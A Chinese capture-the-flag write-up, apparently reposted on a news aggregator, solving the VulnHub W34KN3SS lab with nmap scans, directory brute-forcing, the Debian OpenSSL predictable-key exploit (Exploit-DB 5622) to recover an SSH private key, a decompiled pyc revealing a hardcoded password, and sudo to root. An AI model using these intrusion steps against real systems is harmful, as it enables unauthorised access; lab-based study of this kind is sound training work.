当前位置: 首页 > news >正文

vulnhub(10):W34KN3SS(很小的信息都不能放过)

此靶机的目的是让你提高对小型信息的敏感度,让你更注重细节

端口

nmap主机发现
nmap -sn 192.168.12.0/24
​
Nmap scan report for 192.168.12.146
Host is up (0.00020s latency).
​
146是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.12.146 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE                                                                              
22/tcp    open  ssh                                                                
80/tcp    open  http                                                             
443/tcp   open  https                                                     发现开放3个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.89.116详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 de89a2de45e7d63defe9bdb4b668ca6d (RSA)
|   256 1d984adba2e0cc683893d0522a1aaa96 (ECDSA)
|_  256 3d8a6b920dba37829ec32718b601cd98 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| ssl-cert: Subject: commonName=weakness.jth/organizationName=weakness.jth/stateOrProvinceName=Jordan/countryName=jo
| Not valid before: 2018-05-05T11:12:54
|_Not valid after:  2019-05-05T11:12:54
| tls-alpn: 
|_  http/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
​
​
分析:
22 ssh端口开放
80 web端口开放
443 web端口开放
分别访问80和443端口发现是apache默认初始页面,推测需要给ip指定host头才能访问服务
Apache2 Ubuntu Default Page
​
有些时候仅有一个ip访问不了服务,但是给它绑定一个host头,他就能访问服务,这是因为web服务器会判断这个host头从而定位到同一ip的不同服务

立足

首先给ip绑定host头:
vim /etc/hosts
192.168.12.146  weakness.jth
80端口

可以看到页面画了一个白兔子,-n30的意思推测是白色兔子作者的用户名
源代码页面没有任何信息,我们二话不说直接扫描目录

gobuster dir -u http://weakness.jth/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt --add-slash

只有一个扫描结果,但是足够敏感:
/private/

访问:http://weakness.jth/private/,发现敏感信息

wget 下来,文件内容如下:
​
mykey.pub:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetclusternote.txt:
this key was generated by openssl 0.9.8c-1
​
分析:
openssl 0.9.8c-1版本的ssh私钥能被破解出来,这是openssl 0.9.8c-1版本的漏洞
ssh私钥破解
searchsploit  prng
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH                           
​
searchsploit -m 5622
​
根据5622.txt的提示,进行ssh破解
​
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
tar vjxf 5622.tar.bz2        # 将解压出来名rsa的目录
cd rsa
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw2
​
获取到公钥和私钥,密钥对
rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub
rsa/2048/4161de56829de2fe64b9055711f531c1-2537
​
将私钥拷贝出来
cp ./2048/4161de56829de2fe64b9055711f531c1-2537 /tmp/privatekey 
ssh登录
综上我们发现3个用户:
n30
mykey.pub里的root和targetcluster
​
依次尝试,发现n30可以登录
​
ssh n30@192.168.12.146 -i /tmp/privatekey 

提权

信息枚举
ls 一下
发现/home/n30目录下有code  user.txt
​
user.txt肯定是flag
code是一个可执行文件
​
cat code,发现可能是python源代码被编译后的pyc文件
​
我们直接丢到python反编译在线工具,看到python源代码
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7
​
import os
import socket
import time
import hashlib
print '[+]System Started at : {0}'.format(time.ctime())
print '[+]This binary should generate unique hash for the hardcoded login info'
print '[+]Generating the hash ..'
inf = ''
inf += chr(ord('n'))
inf += chr(ord('3'))
inf += chr(ord('0'))
inf += chr(ord(':'))
inf += chr(ord('d'))
inf += chr(ord('M'))
inf += chr(ord('A'))
inf += chr(ord('S'))
inf += chr(ord('D'))
inf += chr(ord('N'))
inf += chr(ord('B'))
inf += chr(ord('!'))
inf += chr(ord('!'))
inf += chr(ord('#'))
inf += chr(ord('B'))
inf += chr(ord('!'))
inf += chr(ord('#'))
inf += chr(ord('!'))
inf += chr(ord('#'))
inf += chr(ord('3'))
inf += chr(ord('3'))
hashf = hashlib.sha256(inf + time.ctime()).hexdigest()
print '[+]Your new hash is : {0}'.format(hashf)
print '[+]Done'
​
从源代码页面中看到:
n30:dMASDNB!!#B!#!#33
​
那么推测dMASDNB!!#B!#!#33是n30密码
sudo -l:需要n30密码
dMASDNB!!#B!#!#33
​
发现n30可以sudo任何程序:
Matching Defaults entries for n30 on W34KN3SS:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
​
User n30 may run the following commands on W34KN3SS:(ALL : ALL) ALL
​
n30@W34KN3SS:~$ sudo /bin/bash
root@W34KN3SS:~# id
uid=0(root) gid=0(root) groups=0(root)
root@W34KN3SS:~# 

获取到root权限直接下班


http://www.mrgr.cn/news/30156.html

相关文章:

  • 【Python】轻松实现机器翻译:Transformers库使用教程
  • 明源地产ERP系统 WFWebService 反序列化漏洞复现
  • MongoDB增删改查,复杂查询案例分析
  • Go常见框架对比
  • C#中break和continue的区别?
  • 【数据结构】图的应用的时间复杂度
  • 波分技术基础 -- WDM/OTN介绍
  • Java中线程的状态
  • 【深度学习】(2)--PyTorch框架认识
  • 电池曲线测试(TODO)
  • 两个字符串的最长公共子序列(Longest Common Subsequence, LCS)、荷兰国旗问题、合并两个有序数组、约瑟夫环
  • 【TabBar嵌套Navigation案例-关于页面 Objective-C语言】
  • 便捷数据检索与下载,拟合曲线预测趋势 轻松管理多个项目,实现在线监测
  • 生成式AI:ChatGPT及其在各行业的应用前景
  • aperiodic CSI-RS for tracking for fast SCell activation
  • ERP顾问退休?不存在的!
  • Flink 与 Kubernetes (K8s)、YARN 和 Mesos集成对比
  • 动态规划的解题步骤,给自己看的
  • 【Python】探索 PluginBase:Python 插件系统的灵活构建
  • Java函数式BiFunction接口介绍、应用场景和示例代码
  • 前端vue左侧树的一整套功能实现(一):vue2+vite封装v-resize指令,实现左侧树拖拽宽度和折叠展开
  • Ubunutu 的 Bash 没有颜色
  • 【算法】BFS 系列之边权为 1 的最短路问题
  • 4、存储器管理
  • 分布式光伏监控系统光储充一体化助力源网荷储
  • docker在基础镜像上,比如rockylinux,如何配置yum仓库